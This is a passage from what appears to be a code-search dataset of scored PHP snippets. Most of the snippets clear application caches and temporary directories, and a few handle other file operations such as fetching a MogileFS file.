erase_comcode_page_cache();\n erase_block_cache(true);\n //persistent_cache_delete('OPTIONS'); Done by set_option\n erase_persistent_cache();\n erase_cached_templates(false, null, TEMPLATE_DECACHE_WITH_ANYTHING_INTERESTING);\n }", "title": "" }, { "docid": "a4f28f0b6e02af0921f41d009d58afdc", "score": "0.643044", "text": "protected function _resetPersistentCache() {\n $oUtils = Registry::getUtils();\n $sCacheDir = $oUtils->getCacheFilePath(null, true);\n $aDir = glob($sCacheDir.'*');\n if(is_array($aDir)) {\n $aDir = preg_grep(\"/c_fieldnames_|c_tbdsc_|_allfields_/\", $aDir);\n foreach($aDir as $iKey => $sData) {\n if(!is_dir($sData)) {\n @unlink($sData);\n }\n }\n }\n }", "title": "" }, { "docid": "266b11d241799637999d5f820034065e", "score": "0.64303", "text": "function delcache($dir = \"site/cache/cart/\") {\r\n if (is_dir($dir)) {\r\n if ($handle = opendir($dir)) {\r\n while (false !== ($file = readdir($handle))) {\r\n if (strlen($file) > 4 && file_exists($dir . '/' . $file)) {\r\n chmod($dir . '/' . $file, 0777);\r\n @unlink($dir . '/' . $file);\r\n }\r\n }\r\n }\r\n }\r\n }", "title": "" }, { "docid": "1b24b4284d196a81075c51e32353082d", "score": "0.6426019", "text": "public function flush() {\r\n\t\t$flags = GlobIterator::SKIP_DOTS | GlobIterator::CURRENT_AS_PATHNAME;\r\n\t\t$dir = $this->getOptions ()->getCacheDir ();\r\n\t\t$clearFolder = null;\r\n\t\t$clearFolder = function ($dir) use(& $clearFolder, $flags) {\r\n\t\t\t$it = new GlobIterator ( $dir . DIRECTORY_SEPARATOR . '*', $flags );\r\n\t\t\tforeach ( $it as $pathname ) {\r\n\t\t\t\tif ($it->isDir ()) {\r\n\t\t\t\t\t$clearFolder ( $pathname );\r\n\t\t\t\t\trmdir ( $pathname );\r\n\t\t\t\t} else {\r\n\t\t\t\t\tunlink ( $pathname );\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t};\r\n\t\t\r\n\t\tErrorHandler::start ();\r\n\t\t$clearFolder ( $dir );\r\n\t\t$error = ErrorHandler::stop ();\r\n\t\tif ($error) {\r\n\t\t\tthrow new Exception\\RuntimeException ( \"Flushing directory '{$dir}' failed\", 0, $error );\r\n\t\t}\r\n\t\t\r\n\t\treturn true;\r\n\t}", "title": "" }, { "docid": "9135f3aab23d5411772d645f934e53da", "score": "0.64201564", "text": "public static function emptyFolder()\n\t{\n\t\t$folder = app('gorilla.paths.uploads');\n\n\t\tFile::cleanDirectory($folder);\n\t\ttouch(\"{$folder}/.gitkeep\");\n\t}", "title": "" }, { "docid": "d2c81011e535bfc6d5adbfe3e2d9fd7b", "score": "0.64046293", "text": "protected function clear()\n {\n $msg = new Message();\n \n if(!Dir::exist('storage/cache/'))\n {\n Dir::makeFolder('storage/', 'cache');\n $msg->success('Cache folder was successfully cleared.');\n }\n\n $dir = new Directory('storage/cache');\n \n foreach($dir->files() as $file)\n {\n if($file->is('php'))\n {\n $msg->success('Cache file has been cleared.');\n $file->delete();\n }\n }\n\n $core = new Reader('public/js/core.js');\n\n if($core->exist())\n {\n $msg->success('Core javascript cache file has been cleared.');\n $core->delete();\n }\n }", "title": "" }, { "docid": "cf67346fd747909237d4bc7978f02ac9", "score": "0.6404176", "text": "private function clearDir ($path)\n {\n (new CleanDir($this->kernelSettings->toAbsolutePath ($path)))->run ();\n }", "title": "" }, { "docid": "6e863cc84ac72be087f862886a2cc774", "score": "0.6397172", "text": "public function flush()\n {\n if ($this->fileSystem->isDirectory($this->directory))\n {\n $this->fileSystem->deleteDirectory($this->directory, true);\n }\n }", "title": "" }, { "docid": "dbcc6d74d535da8fb0086bf91121fec5", "score": "0.63794386", "text": "public static function purgeCaches() {}", "title": "" }, { "docid": "65edc80b40beb2423e0771ee0a3edd20", "score": "0.63750887", "text": "public function clear(string $dir = '') {\n if (!empty($dir)) {\n $file_path = 'cache/tmp_' . $dir . '.php';\n\n if (is_file($file_path)) {\n unlink($file_path);\n }\n return;\n }\n\n $files = glob('cache/*');\n\n foreach ($files as $file) {\n if (is_file($file)) {\n unlink($file);\n }\n }\n }", "title": "" }, { "docid": "32b4b9a1721dc9196e43685d0e520b34", "score": "0.63668346", "text": "public function clearCache(){\n\t\t\n\t\t// Set the state and tell plugins.\n\t\t$this->setState('EMPTYING_CACHE');\n\t\t$this->notifyObservers();\n\t\t\n\t\t//Include the file operations class\n\t\tinclude(\"core/lib/FileOperations.php\");\n\t\t\n\t\t//Start up file operations class\n\t\t$fop = new FileOperations();\n\t\t\n\t\t//Let user know about the clearing cache title\n\t\t$this->getController()->getPaging()->setContentTitle(\"Clearing Page Cache\");\n\t\t\n\t\t//Clear the contents of the cache - and show progress.\n\t\t$this->getController()->getPaging()->setContent($fop->emptyDir(\"cache\"));\n\t}", "title": "" }, { "docid": "2b64bf9c1d6f970b6bdbe5f4ef4e767a", "score": "0.63583446", "text": "public static function removeCacheFiles() {}", "title": "" }, { "docid": "b9c54b6bec4a28a644198bb1368ba8cb", "score": "0.63401455", "text": "protected function deleteCacheEntries(): void\n {\n\t\tif(($cachePath = $this->folder->getCachePath(true))) {\n\n\t\t\t$di\t= new DirectoryIterator($cachePath);\n\n\t\t\tforeach($di as $fileinfo) {\n\t\t\t\tif(\t$fileinfo->isDot() ||\n\t\t\t\t\t!$fileinfo->isFile() ||\n\t\t\t\t\tstrpos($fileinfo->getFilename(), $this->filename) !== 0\n\t\t\t\t) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\tunlink($fileinfo->getRealPath());\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "51790f8872ac8f4b32e77fbc734c14ed", "score": "0.631622", "text": "public function cleanup()\n {\n $this->getTemporaryDirectory()->cleanup();\n $this->removeTemporaryDirectory();\n }", "title": "" }, { "docid": "d54c4f311dbd91d42a549f42a7220cd9", "score": "0.6312263", "text": "abstract public function cacheClean();", "title": "" }, { "docid": "23240222190c1699d04b596c33550599", "score": "0.6309105", "text": "public function clearCachefiles () {\r\n\t\r\n\t}", "title": "" }, { "docid": "8ee09a361045b574a11bfa5c86f573a5", "score": "0.6300018", "text": "public function clearCache();", "title": "" }, { "docid": "8ee09a361045b574a11bfa5c86f573a5", "score": "0.6300018", "text": "public function clearCache();", "title": "" }, { "docid": "8ee09a361045b574a11bfa5c86f573a5", "score": "0.6300018", "text": "public function clearCache();", "title": "" }, { "docid": "32ad51b853b2fcfd98ae78ce9aa5a8c3", "score": "0.629921", "text": "protected function tearDown()\n {\n unset($this->_jsonDiskCache);\n\n // scan through cache dir and delete all '.cache' files\n foreach (scandir($this->_cacheDirPath) as $file) {\n if ($file !== '.' && $file !== '..' &&\n\n // PHP 5.4 (new Object)->method() call in one line\n (new \\SplFileInfo($this->_cacheDirPath . '/' . $file))->getExtension() === 'cache'\n ) {\n unlink($this->_cacheDirPath . '/' . $file);\n }\n }\n\n if (!rmdir($this->_cacheDirPath)) {\n $this->fail('Test dir should be empty');\n }\n }", "title": "" }, { "docid": "9eb3376ac0b6f4609f60eb84ee851be4", "score": "0.62796557", "text": "private function clearCache($allCache = true){\n \tif (is_dir($this->cache_dir)) {\n \t\tif ($dh = opendir($this->cache_dir)) {\n \t\t\twhile (($file = readdir($dh)) !== false) {\n \t\t\t\tif (filemtime($this->cache_dir . $file) < (time() - ($this->cache_time * 61)) || $allCache) {\n \t\t\t\t\t@unlink($this->cache_dir . $file);\n \t\t\t\t}\n \t\t\t}\n \t\t\tclosedir($dh);\n \t\t}\n \t}\n }", "title": "" }, { "docid": "a03c70fcb64a142c1479b85595f6a6ec", "score": "0.6276983", "text": "public function clean()\n {\n unset($_SESSION['__CACHE__']);\n }", "title": "" }, { "docid": "ac48b803a7c9db10098cabe5732f16e8", "score": "0.62765735", "text": "protected function cleanDirectories()\n {\n $filesystem = new Filesystem();\n\n $filesystem->cleanDirectory($this->getSeedFilePath());\n\n $filesystem->cleanDirectory(database_path('factories'));\n }", "title": "" }, { "docid": "187048aa47601225247c976b2fda21bc", "score": "0.6268126", "text": "protected function purgeCache() {\n\t\tConfigboxCacheHelper::purgeCache();\n\t}", "title": "" }, { "docid": "8c48506a6e84ec994911bd2fd9fdd298", "score": "0.6265932", "text": "public function clearAll() {\n PathHelper::RMDIRRecursively($this->recordPath);\n }", "title": "" }, { "docid": "8a3c32c2b204915fce04c6741e425bec", "score": "0.6261979", "text": "public static function clear(): void\n {\n static::getCache()->clear();\n }", "title": "" }, { "docid": "d683907f57206ce55f0d7ead0c2e6d3b", "score": "0.62593764", "text": "public function clearCacheEntries(): void\n {\n\t\t$this->deleteCacheEntries();\n\t}", "title": "" }, { "docid": "b190371e7db91bee9dbd28065fab26c0", "score": "0.62567264", "text": "public function clearCache() {}", "title": "" }, { "docid": "b190371e7db91bee9dbd28065fab26c0", "score": "0.6254528", "text": "public function clearCache() {}", "title": "" }, { "docid": "32e0759f66f03b09a478d68ab0472014", "score": "0.6246552", "text": "public function purgeScriptCache()\n\t{\n\t\t// assets/js and assets/css\n\t\tforeach (array('assets/js', 'assets/css') as $dir)\n\t\t{\n\t\t\t// Purge the folder\n\t\t\t$objFolder = new \\Folder($dir);\n\t\t\t$objFolder->purge();\n\n\t\t\t// Restore the index.html file\n\t\t\t$objFile = new \\File('templates/index.html', true);\n\t\t\t$objFile->copyTo($dir . '/index.html');\n\t\t}\n\n\t\t// Recreate the internal style sheets\n\t\t$this->import('StyleSheets');\n\t\t$this->StyleSheets->updateStyleSheets();\n\n\t\t// Also empty the page cache so there are no links to deleted scripts\n\t\t$this->purgePageCache();\n\n\t\t// Add a log entry\n\t\t$this->log('Purged the script cache', __METHOD__, TL_CRON);\n\t}", "title": "" }, { "docid": "4dbe4358a773b3d6e185050de6514499", "score": "0.62360525", "text": "public function purgeInternalCache()\n\t{\n\t\t// Check whether the cache exists\n\t\tif (is_dir(TL_ROOT . '/system/cache/dca'))\n\t\t{\n\t\t\tforeach (array('config', 'dca', 'language', 'sql') as $dir)\n\t\t\t{\n\t\t\t\t// Purge the folder\n\t\t\t\t$objFolder = new \\Folder('system/cache/' . $dir);\n\t\t\t\t$objFolder->delete();\n\t\t\t}\n\t\t}\n\n\t\t// Add a log entry\n\t\t$this->log('Purged the internal cache', __METHOD__, TL_CRON);\n\t}", "title": "" }, { "docid": "bd81dfdd6cd611c5f35e78af76cf2574", "score": "0.6228544", "text": "function clean_dirsize_cache($path)\n {\n }", "title": "" }, { "docid": "2db312d63643a9bb0e89675c17fdbf3c", "score": "0.62185514", "text": "public function clearCache() {\r\n self::$database->delete(\"DELETE FROM cache WHERE itemid=?\", \r\n $this->itemid\r\n );\r\n }", "title": "" }, { "docid": "3775aa0a8338f7b9b320460891b6cd97", "score": "0.6200244", "text": "function cleanUp(){\n global $dir;\n $alist = scandir($dir); \n foreach($alist as $key => $value){\n if(is_file($dir.'/'.$value)) { \n unlink($dir.'/'.$value);\n }\n }\n\n rmdir($dir);\n }", "title": "" }, { "docid": "d8d861afff07d80c3da0921ce15b37f1", "score": "0.6184005", "text": "public function purgeSearchCache()\n\t{\n\t\t// Purge the folder\n\t\t$objFolder = new \\Folder('system/cache/search');\n\t\t$objFolder->purge();\n\n\t\t// Add a log entry\n\t\t$this->log('Purged the search cache', __METHOD__, TL_CRON);\n\t}", "title": "" }, { "docid": "3b56bc06980615e325c56d13ae289770", "score": "0.6178057", "text": "public function clear() {\n\t\t$counter = 0;\n\t\t$files = glob( $this->cache_directory . '*' );\n\n\t\tforeach ( $files as $file ) {\n\t\t\tif ( is_file( $file ) ) {\n\t\t\t\tunlink( $file );\n\t\t\t\t$counter ++;\n\t\t\t}\n\t\t}\n\n\t\treturn $counter;\n\t}", "title": "" }, { "docid": "e920bf1c87f08fabb8afb5ea00efb1f3", "score": "0.6146656", "text": "public function clear($cacheDir)\n {\n $cachePath = __DIR__ . '/' . self::TARGET_CLASS_NAME . '.php';\n\n if (is_file($cachePath))\n {\n unlink($cachePath);\n }\n }", "title": "" }, { "docid": "0309c9bb92ce65e4ab21bb4cca039cfe", "score": "0.61460626", "text": "public function purgePageCache()\n\t{\n\t\t// Purge the folder\n\t\t$objFolder = new \\Folder('system/cache/html');\n\t\t$objFolder->purge();\n\n\t\t// Add a log entry\n\t\t$this->log('Purged the page cache', __METHOD__, TL_CRON);\n\t}", "title": "" }, { "docid": "28effa40852201e8a2838d8d1c30c186", "score": "0.61435646", "text": "public static function clearCache ( ) {\n\t\t\t$db = self :: getDatabase ( );\n\t\t\t$db -> CacheFlush ( );\n\t\t}", "title": "" }, { "docid": "91e2694ef089ee05690cc3f2a2181616", "score": "0.6143493", "text": "protected function clearCaches()\n {\n $this->callSilent('clear-compiled');\n $this->callSilent('cache:clear');\n $this->callSilent('route:clear');\n $this->callSilent('config:clear');\n $this->callSilent('view:clear');\n Cache::flush();\n }", "title": "" }, { "docid": "9def3a569b69383ad4a35c6974fadbef", "score": "0.61370534", "text": "public function clearstatcache($path = NULL) {\n clearstatcache(TRUE, $path);\n }", "title": "" }, { "docid": "8d5bb64bee3a6a8d44637a64af13d125", "score": "0.6126239", "text": "public function clear(): void\n {\n $app = App::get();\n $list = $app->data->getList()\n ->filterBy('key', '.temp/cache/', 'startWith');\n foreach ($list as $item) {\n $app->data->delete($item->key);\n };\n }", "title": "" }, { "docid": "2f0e233b120a38b714c643e5eab961d6", "score": "0.61153775", "text": "public static function removeTempDir()\n {\n $tmpDir = self::getTempDir();\n\n array_map('unlink', glob(\"$tmpDir/*.*\"));\n array_map('unlink', glob(\"$tmpDir/*/*.*\"));\n array_map('unlink', glob(\"$tmpDir/*/*/*.*\"));\n array_map('unlink', glob(\"$tmpDir/*/*/*/*.*\"));\n array_map('unlink', glob(\"$tmpDir/*/*/*/*/*.*\"));\n array_map('rmdir', glob(\"$tmpDir/*/*/*/*\", GLOB_ONLYDIR));\n array_map('rmdir', glob(\"$tmpDir/*/*/*\", GLOB_ONLYDIR));\n array_map('rmdir', glob(\"$tmpDir/*/*\", GLOB_ONLYDIR));\n array_map('rmdir', glob(\"$tmpDir/*\", GLOB_ONLYDIR));\n is_dir($tmpDir) and rmdir($tmpDir);\n }", "title": "" }, { "docid": "6593b6344680462f3f2f8c6401efddba", "score": "0.6114089", "text": "protected function clearCache()\n {\n if (function_exists('apc_clear_cache')) {\n apc_clear_cache();\n }\n\n if (function_exists('opcache_reset')) {\n opcache_reset();\n }\n }", "title": "" }, { "docid": "be7329514a363ac1044bfc8fc82c565e", "score": "0.6108807", "text": "public function clean()\n {\n if ( is_dir( $this->_strDirectory ) ) {\n $h = opendir($this->_strDirectory);\n while ($h && $f = readdir($h)) { \n if ( $f != '.' && $f != '..') {\n $fn = $this->_strDirectory . '/' . $f;\n if ( is_dir($fn) ) {\n $dir = new Sys_Dir($fn);\n $dir->delete();\n } else {\n $file = new Sys_File( $fn );\n $file->delete();\n }\n }\n }\n\t if ( $h ) { closedir( $h ); }\n \n }\n }", "title": "" }, { "docid": "827b67dfe0b4b92bbc0e02cf7447d30a", "score": "0.610501", "text": "protected function _clearCachedTemplates()\n\t{\n\t\t$directories = array(\n\t\t\tISC_ADMIN_TEMPLATE_CACHE_DIRECTORY,\n\t\t\tISC_FRONT_TEMPLATE_CACHE_DIRECTORY,\n\t\t);\n\t\tforeach($directories as $directory) {\n\t\t\t$dh = opendir($directory);\n\t\t\tif (!$dh) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\twhile (($file = readdir($dh)) !== false) {\n\t\t\t\tif (substr($file, -4) != '.php') {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\t@unlink($directory . '/' . $file);\n\t\t\t}\n\n\t\t\tclosedir($dh);\n\t\t}\n\t}", "title": "" }, { "docid": "1d2d58197529368368c9558acebaafa5", "score": "0.60994", "text": "public static function tearDownAfterClass()\n {\n $fileSystemHelper = new FileSystemHelper(__DIR__ . '/cache');\n\n if (is_dir(__DIR__ . '/cache/builder') === true) {\n $fileSystemHelper->deleteFolderRecursively(__DIR__ . '/cache/builder');\n }\n }", "title": "" }, { "docid": "297e5f0aed28e12340efc12e7c16616e", "score": "0.6090811", "text": "public static function cache_delete()\n\t{\n\t\t// Clear any cache for sure\n\t\tCache::instance('modules')->delete_all();\n\t\tCache::instance('menus')->delete_all();\n\t\tCache::instance('widgets')->delete_all();\n\t\tCache::instance('feeds')->delete_all();\n\t\tCache::instance('page')->delete_all();\n\t\tCache::instance('blog')->delete_all();\n\t\tCache::instance('roles')->delete_all();\n\n\t\t// For each cache instance\n\t\tforeach (Cache::$instances as $group => $instance)\n\t\t{\n\t\t\t/** @var $instance Cache */\n\t\t\t$instance->delete_all();\n\t\t}\n\t}", "title": "" }, { "docid": "21a0715cfb2cd450312cce2c51ee3b7d", "score": "0.60772187", "text": "public function __destruct()\n {\n if (isset($this->scratch)) {\n self::wipeDirectory($this->scratch);\n\n $this->scratch = null;\n }\n }", "title": "" }, { "docid": "9a732a9b3bda1654c21dd9805369d781", "score": "0.60767627", "text": "static function purgeCache()\n {\n $cache =& wfGetMainCache();\n $cache->delete('vp:surveyslist');\n }", "title": "" }, { "docid": "e16d146a716a4e3ba4cd994c96cd8092", "score": "0.60751486", "text": "function sed_diskcache_clear($dir, $do_subdirs = true, $rm_dir = false)\n{\n\tif (!is_dir($dir) || !is_writable($dir))\n\t{\n\t\treturn false;\n\t}\n\n\tforeach (glob(\"$dir/*\") as $f)\n\t{\n\t\tif (is_file($f))\n\t\t{\n\t\t\t@unlink($f);\n\t\t}\n\t\telseif (is_dir($f) && $do_subdirs)\n\t\t{\n\t\t\tsed_diskcache_clear($f, true, true);\n\t\t}\n\t}\n\n\tif ($rm_dir)\n\t{\n\t\t@rmdir($dir);\n\t}\n\n\treturn true;\n}", "title": "" }, { "docid": "f37ad1b7d002fb24f96e6187fd78da28", "score": "0.6074453", "text": "public function clearCache(): void;", "title": "" }, { "docid": "4840db95a2e2f75cd14bd672fd5dc9fb", "score": "0.60741776", "text": "protected static function flush()\n\t{\n\t\t$items = new fIterator(path('storage').'views');\n\n\t\tforeach ($items as $item)\n\t\t{\n\t\t\tif ($item->isFile() and $item->getBasename() !== '.gitignore')\n\t\t\t{\n\t\t\t\t@unlink($item->getRealPath());\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "ffc374a7d615e1afbb9dc24f8c1f6fb2", "score": "0.6073076", "text": "public function clear($cacheDir)\n {\n $fs = new Filesystem();\n $fs->remove($this->proxyCacheDir);\n }", "title": "" }, { "docid": "c5ca5a9007b33fb44bd107eba7c0e253", "score": "0.60717034", "text": "public static function cleanTemplatesCache()\r\n {\r\n $path = APP_VAR_DIR.'/_compiled/site/*';\r\n exec('rm -rf '.$path);\r\n return true;\r\n }", "title": "" }, { "docid": "24629aa2b7efc5d04229a4ce7e8227f7", "score": "0.606959", "text": "public static function clearCache()\n {\n self::$cache = array();\n }", "title": "" }, { "docid": "5235200c46b47e40c14b92856332bf22", "score": "0.60553867", "text": "function ag_clean_wm_cache() {\n\trequire_once(AG_DIR . '/functions.php');\n\t\n\t$wp_dirs = wp_upload_dir();\n\t$cache_dir = trailingslashit($wp_dirs['basedir']) . 'ag_watermarked';\n\t\n\t// folder exists?\n\tif(!@file_exists($cache_dir)) {\n\t\tdie('success');\t\n\t}\n\t\n\t// clean\n\tforeach(scandir($cache_dir) as $file) {\n\t\t$ext = ag_stringToExt($file);\n\t\t$accepted = array('.jpg', '.jpeg', '.gif', '.png');\n\t\t\n\t\tif(in_array($ext, $accepted) && file_exists($cache_dir.'/'.$file)) {\n\t\t\tunlink($cache_dir.'/'.$file);\n\t\t}\t\n\t}\n\n\tdie('success');\n}", "title": "" } ]
8567021b8eb880980188922fc62ec56d
Get file from Mogilefs and write to file
[ { "docid": "a19bf2394d5225f96b50edf89729c18d", "score": "0.0", "text": "function getFile($key, $outputfile)\n {\n if (empty($key)) {\n $this->error = 'key is empty';\n return false;\n }\n try {\n $paths = $this->client->get($key);\n array_pop($paths);\n\n foreach ($paths as $path) {\n if (file_exists($outputfile)) {\n unlink($outputfile);\n }\n $out = fopen($outputfile, 'wb');\n if ($out === false) {\n $this->error = \"getFile unable to open {$outputfile} for writing\";\n return false;\n }\n\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_FILE, $out);\n curl_setopt($ch, CURLOPT_HEADER, 0);\n curl_setopt($ch, CURLOPT_URL, $path);\n curl_exec($ch);\n $error = curl_errno($ch);\n curl_close($ch);\n fclose($out);\n if ($error === 0) {\n return $outputfile;\n } else {\n unlink($outputfile);\n }\n }\n } catch (\\Exception $ex) {\n $this->error = $ex->getMessage();\n return false;\n }\n\n return false;\n }", "title": "" } ]
[ { "docid": "e051f7debbf05798e760a6fa0dc3d57c", "score": "0.5978428", "text": "public function getFile() {}", "title": "" }, { "docid": "02ae894e9ac32830b4520180308a9847", "score": "0.5887099", "text": "public function getFile();", "title": "" }, { "docid": "02ae894e9ac32830b4520180308a9847", "score": "0.5887099", "text": "public function getFile();", "title": "" }, { "docid": "02ae894e9ac32830b4520180308a9847", "score": "0.5887099", "text": "public function getFile();", "title": "" }, { "docid": "02ae894e9ac32830b4520180308a9847", "score": "0.5887099", "text": "public function getFile();", "title": "" }, { "docid": "58b12dc7e0d925f777b348e23f8b7b59", "score": "0.58569163", "text": "public function getFile(): File;", "title": "" }, { "docid": "3d8b026354b437cef4f8a396d3bca91f", "score": "0.58185405", "text": "public function getFile(): ExportableFile;", "title": "" }, { "docid": "0f1f5736d0b42eb6aa818d548dc6a43b", "score": "0.5694419", "text": "function agregaArchivo($fuente, $destino, $modo = \"w\")\n{\n if (!($fen = fopen($fuente, \"r\"))) {\n die (\"No se pudo leer $fuente\");\n }\n if (!($fsal = fopen($destino, $modo))) {\n die (\"No se pudo escribir $destino\");\n }\n $buf = \"\";\n while (!feof($fen)) {\n $ll = fread($fen, 1024);\n if (fwrite($fsal, $ll) === false) {\n die(\"No se pudo escribir completo $destino\");\n }\n }\n fclose($fen);\n fclose($fsal);\n}", "title": "" }, { "docid": "876fb2744665f335f13a3e688340dd97", "score": "0.5625599", "text": "public function toFile() {\n $this->saveArticleJson();\n $this->saveArticleAssets();\n }", "title": "" }, { "docid": "cbeb4579a47f725004dfb1cdf08d3d05", "score": "0.56022257", "text": "public function getFile(): string;", "title": "" }, { "docid": "5721264960c45471fbba66184f251322", "score": "0.553936", "text": "public function createFile()\n\t{\n\t\t$request = Slim::getInstance()->request();\n\t\t$body = $request->post(\"content\");\n\n\t\t$tmpname = ilUtil::ilTempnam();\n\t\t$path = $this->getPath().'/'.basename($tmpname);\n\n\t\t$this->writeToFile($body, $path);\n\t\t$return = basename($tmpname);\n\n\t\t$GLOBALS['ilLog']->write(__METHOD__.' Writing to path '.$path);\n\n\t\tSlim::getInstance()->response()->header('Content-Type', 'application/json');\n\t\tSlim::getInstance()->response()->body($return);\n\t}", "title": "" }, { "docid": "a525e1741b368b0bc03fdc3779c216f5", "score": "0.53571004", "text": "function write($data, $file)\n{\n file_put_contents($file, $data);\n}", "title": "" }, { "docid": "e52ff4ddb108a5b6d6bf1b90ca0a6ff9", "score": "0.53508776", "text": "function getMapFile() {\r\n if (!empty($this->aObjects[0]->aFields)) {\r\n require $this->sRessourcesFile;\r\n $sWmsServiceId = $this->aObjects[0]->aFields['wmsservice_id'];\r\n // Supprime les accents et caractères spéciaux.\r\n $sWmsServiceId = htmlentities($sWmsServiceId, ENT_NOQUOTES, 'UTF-8');\r\n $sWmsServiceId = preg_replace('#&([A-za-z])(?:acute|cedil|caron|circ|grave|orn|ring|slash|th|tilde|uml);#', '\\1', $sWmsServiceId);\r\n $sWmsServiceId = preg_replace('#&([A-za-z]{2})(?:lig);#', '\\1', $sWmsServiceId); // pour les ligatures e.g. '&oelig;'\r\n $sWmsServiceId = preg_replace('#&[^;]+;#', '', $sWmsServiceId); // supprime les autres caractères\r\n // Nom du fichier \".map\".\r\n $sMapFileHash = hash('sha256', $this->aValues['token']);\r\n $this->aObjects[0]->aFields['map_file_hash'] = $sMapFileHash;\r\n if ($this->aValues['my_vitis_id'] == $this->aProperties['private_wms_service']) {\r\n $sProdDir = 'wms_private';\r\n $sMapFileName = $sMapFileHash . '.map';\r\n } else {\r\n $sProdDir = 'wms_public';\r\n $sMapFileName = $sMapFileHash . '_' . $sWmsServiceId . '.map';\r\n }\r\n // Chemin du fichier.\r\n if ($this->aValues['type'] == 'prod')\r\n $this->aObjects[0]->aFields['map_file'] = $this->aProperties[\"map_dir\"] . '/' . $sProdDir . '/' . $sMapFileName;\r\n else\r\n $this->aObjects[0]->aFields['map_file'] = $this->aProperties[\"map_dir\"] . '/wms_test/' . $sMapFileName;\r\n // Contenu du fichier \".map\".\r\n if (file_exists($this->aObjects[0]->aFields['map_file']))\r\n $this->aObjects[0]->aFields['map_file_content'] = file_get_contents($this->aObjects[0]->aFields['map_file']);\r\n // Source des couches du flux de test.\r\n $aParams['sSchemaVm4ms'] = array('value' => $this->aProperties['schema_vm4ms'], 'type' => 'schema_name');\r\n $aParams['wmsservice_id'] = array('value' => $sWmsServiceId, 'type' => 'string');\r\n $oPDOresult = $this->oConnection->oBd->executeWithParams($aSql['getWmsServiceLayersSource'], $aParams);\r\n if (!$this->oConnection->oBd->erreurRencontree) {\r\n $aLayersSource = array();\r\n while ($aLayer = $this->oConnection->oBd->ligneSuivante($oPDOresult))\r\n $aLayersSource[$aLayer['name']] = $aLayer['source'];\r\n $this->aObjects[0]->aFields['layers_sources'] = $aLayersSource;\r\n }\r\n }\r\n $aXmlRacineAttribute['status'] = 1;\r\n if (isset($this->aValues['sEncoding'])) {\r\n $sEncoding = $this->aValues['sEncoding'];\r\n } else {\r\n $sEncoding = null;\r\n }if (isset($this->aValues['sSourceEncoding'])) {\r\n $sSourceEncoding = $this->aValues['sSourceEncoding'];\r\n } else {\r\n $sSourceEncoding = null;\r\n }if (isset($this->aValues['output'])) {\r\n $output = $this->aValues['output'];\r\n } else {\r\n $output = null;\r\n }\r\n $sMessage = $this->asDocument('', 'vitis', $sEncoding, True, $aXmlRacineAttribute, $sSourceEncoding, $output);\r\n return $sMessage;\r\n }", "title": "" }, { "docid": "33aaec225771edc3710dc670da7bc1d4", "score": "0.53476053", "text": "public function getFile()\n {\n // TODO: Implement getFile() method.\n }", "title": "" }, { "docid": "c7356368213e553a720d4d1213fe1bd8", "score": "0.5309139", "text": "protected function tofile():string { return $this->root->save(FOLDER.$this->nameOfFile.\".xml\"); }", "title": "" }, { "docid": "5c0a3c4d7a874b6a7e0a4472b481a3a8", "score": "0.530348", "text": "public function getFile() {\n return $this->fedora->getDatastreamREST($this->pid, \"FILE\");\n }", "title": "" }, { "docid": "ac9ac0afb75e68beb9ab722ae69b244b", "score": "0.5299216", "text": "protected function get_file()\n {\n return new File( $this->get_file_data() );\n }", "title": "" }, { "docid": "e9af253210dc6f97af0a3f3b24bf247e", "score": "0.52937233", "text": "public function getFileSystem();", "title": "" }, { "docid": "bb9f2c310f89f72ef524285f976372d1", "score": "0.52934396", "text": "function fpc( $file, $contents ){\n return fwrite ( fopen ( $file, 'w' ), $contents );\n }", "title": "" }, { "docid": "8bc6103a4e3727153677613cccc3b8c0", "score": "0.52925575", "text": "function magic_write_to_file($file_path, $new_content_to_write)\n{\n\n\tglobal $final_file_content;\n \n if (!file_exists($file_path))\n {\n \t$file_to_write = fopen($file_path, 'w') or die(\"can't open file\");\n\tfwrite($file_to_write, $new_content_to_write);\n\tfclose($file_to_write);\n\n\t$final_file_content=file_get_contents($file_path);\n }else{\n \techo \"<h2>Sorry, File Overwrite is not allowed, a similar file '\".$file_path.\"' already exists. Delete this file before creating a new one. </h2> \";\n }\n\n\treturn $final_file_content;\n\n}", "title": "" }, { "docid": "85adb1a8fd6fe725cb8184fd90eeebaa", "score": "0.52891445", "text": "abstract protected function getMockFile();", "title": "" }, { "docid": "1355db5324de1f1153e356fed55a0e44", "score": "0.52851754", "text": "public function file() {\r\n\t\t$folders_map = array(\r\n\t\t\t'downloads' => Config::DOWNLOADS_DIR,\r\n\t\t\t'articles' => Config::ARTICLES_DIR,\r\n\t\t\t'avatars' => Config::AVATARS_DIR\r\n\t\t);\r\n\r\n\t\t$folder = $folders_map[$this->params['type']];\r\n\t\t$file = $this->params['file'];\r\n\t\t$path = $folder.$file;\r\n\r\n\t\tif (file_exists($path)) {\r\n\t\t\t$content_type = mime_content_type($path);\r\n\t\t\t$content = file_get_contents($path);\r\n\t\t\t$this->sendFileResponse($content_type, $file, $content);\r\n\t\t} else {\r\n\t\t\t$this->sendResponse(0, ErrorCodes::NOT_FOUND);\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "92d12911fb16f985f1c8471f4091ea04", "score": "0.5241035", "text": "private function getFile() {\n\t\t\t\n\t\t\t$path = tempnam(null,'');\n\t\t\t\n\t\t\t$input = fopen(\"php://input\", \"r\");\n\t\t\t$temp = tmpfile();\n\t\t\t$realSize = stream_copy_to_stream($input, $temp);\n\t\t\tfclose($input);\n\t\t\t\n\t\t\tif ($realSize != $this->getSize()){\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t\n\t\t\t$target = fopen($path, \"w\");\n\t\t\tfseek($temp, 0, SEEK_SET);\n\t\t\tstream_copy_to_stream($temp, $target);\n\t\t\tfclose($target);\n\t\t\t\n\t\t\treturn $path;\n\t\t}", "title": "" }, { "docid": "13939a78eb21d53626fed7b6a1581396", "score": "0.52389324", "text": "public function writef( $path, $file );", "title": "" }, { "docid": "1a39c1830f65ac00ba5e99f09cf35a3b", "score": "0.52328897", "text": "abstract protected function fetchFromFile();", "title": "" }, { "docid": "7e88abd337fda4b1edc0e14c4b5a1f0d", "score": "0.52318376", "text": "public function 